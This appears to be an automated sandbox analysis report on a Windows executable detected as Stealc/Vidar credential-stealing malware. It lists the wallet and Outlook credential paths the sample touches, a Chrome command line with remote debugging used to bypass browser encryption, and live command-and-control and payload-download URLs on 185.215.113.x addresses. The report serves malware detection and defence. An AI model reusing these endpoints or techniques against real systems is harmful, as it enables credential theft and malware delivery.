Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 1680, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2572476247.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2055271175.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2570783490.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1680, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1680, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/mozglue.dllP	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllz	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php7l	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpU7	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllF	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dlll	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dlln	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exes	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/freebl3.dllt	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.57	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732487084186&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732487084286&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732487076697&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	high
https://sb.scorecardresearch.com/b?rn=1732487076699&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0A261308FCDB683529D90649FDDC6975&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732487084839&w=0&anoncknm=app_anon&NoResponseBody=true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2245614404.000000000166B000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAE.0.dr, KFHJJJKK.0.dr, Web Data.8.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2245614404.000000000166B000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAE.0.dr, KFHJJJKK.0.dr, Web Data.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllP	file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://ntp.msn.com/0	000003.log9.8.dr	false		high
https://ntp.msn.com/_default	QuotaManager.8.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2604833470.0000000023B62000.00000004.00000020.00020000.00000000.sdmp, HCAFIJDGHCBFHJKFCGIE.0.dr	false		high
https://www.last.fm/	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.8.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://docs.google.com/	manifest.json0.8.dr	false		high
https://www.youtube.com	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://www.instagram.com	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2570783490.0000000000927000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive.google.com/	manifest.json0.8.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://www.messenger.com	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://i.y.qq.com/n2/m/index.html	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://www.deezer.com/	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://web.telegram.org/	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.8.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.8.dr	false		high
https://vibe.naver.com/today	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2245614404.000000000166B000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAE.0.dr, KFHJJJKK.0.dr, Web Data.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dlll	file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/freebl3.dllt	file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2245614404.000000000166B000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAE.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.8.dr	false		high
https://excel.new?from=EdgeM365Shoreline	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EBAFHCBFHDHCAAKFHDGDBKFCGC.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllz	file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/chrome	content_new.js.8.dr, content.js.8.dr	false		high
https://www.tiktok.com/	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpU7	file.exe, 00000000.00000002.2572476247.00000000015BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllF	file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	EBAFHCBFHDHCAAKFHDGDBKFCGC.0.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2604833470.0000000023B62000.00000004.00000020.00020000.00000000.sdmp, HCAFIJDGHCBFHJKFCGIE.0.dr	false		high
https://chromewebstore.google.com/	manifest.json.8.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.8.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2604833470.0000000023B62000.00000004.00000020.00020000.00000000.sdmp, HCAFIJDGHCBFHJKFCGIE.0.dr	false		high
https://msn.comXIDv10	Cookies.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://chrome.google.com/webstore/	manifest.json.8.dr	false		high
https://y.music.163.com/m/	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
http://185.215.113.16/mine/random.exes	file.exe, 00000000.00000002.2572476247.0000000001643000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://bard.google.com/	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://web.whatsapp.com	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://m.kugou.com/	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://www.office.com	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://outlook.live.com/mail/0/	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
http://185.215.113.206/8	file.exe, 00000000.00000002.2572476247.0000000001618000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	HCAFIJDGHCBFHJKFCGIE.0.dr	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr, 000003.log9.8.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2245614404.000000000166B000.00000004.00000020.00020000.00000000.sdmp, IDHIDBAE.0.dr, KFHJJJKK.0.dr, Web Data.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpp	file.exe, 00000000.00000002.2604833470.0000000023B7D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tidal.com/	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://ntp.msn.com	000003.log3.8.dr, 2cc80dabc69f58b6_0.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.php7l	file.exe, 00000000.00000002.2604833470.0000000023B62000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dlln	file.exe, 00000000.00000002.2572476247.0000000001643000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://gaana.com/	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high
https://drive-staging.corp.google.com/	manifest.json0.8.dr	false		high
https://outlook.live.com/mail/compose?isExtension=true	76bcd525-9dd4-45c8-92b2-23b036a75c05.tmp.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.189.173.8	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
23.44.133.38	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
4.249.200.148	unknown	United States	3356	LEVEL3US	false
23.209.72.40	unknown	United States	20940	AKAMAI-ASN1EU	false
23.57.90.145	unknown	United States	35994	AKAMAI-ASUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.57.90.146	unknown	United States	35994	AKAMAI-ASUS	false
18.161.34.125	unknown	United States	3	MIT-GATEWAYSUS	false
18.165.220.57	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.117.182.56	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561964
Start date and time:	2024-11-24 23:23:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@72/288@24/26
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.17.46, 74.125.205.84, 34.104.35.123, 199.232.214.172, 172.217.17.42, 172.217.17.74, 172.217.19.202, 216.58.208.234, 172.217.21.42, 172.217.19.170, 142.250.181.106, 142.250.181.10, 142.250.181.74, 142.250.181.138, 172.217.19.234, 192.229.221.95, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 172.217.19.238, 13.107.6.158, 172.165.61.93, 23.32.238.138, 2.19.198.56, 2.16.158.35, 2.16.158.170, 2.16.158.179, 2.16.158.27, 2.16.158.40, 2.16.158.169, 2.16.158.96, 2.16.158.56, 2.16.158.33, 23.32.238.168, 23.32.238.208, 95.100.135.26, 95.100.135.16, 95.100.135.33, 95.100.135.130, 95.100.135.107, 95.100.135.123, 95.100.135.11, 95.100.135.19, 95.100.135.24, 13.74.129.1, 204.79.197.237, 13.107.21.237, 172.217.165.131, 142.251.40.163, 142.251.41.3, 142.250.65.195, 142.250.65.163, 142.250.80.67
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, con
Execution Graph export aborted for target DocumentsCBFBKFIDHI.exe, PID 8160 because it is empty
Execution Graph export aborted for target skotes.exe, PID 1200 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8344 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
17:24:29	API Interceptor	163x Sleep call for process: file.exe modified
17:26:01	API Interceptor	22x Sleep call for process: skotes.exe modified
23:24:54	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
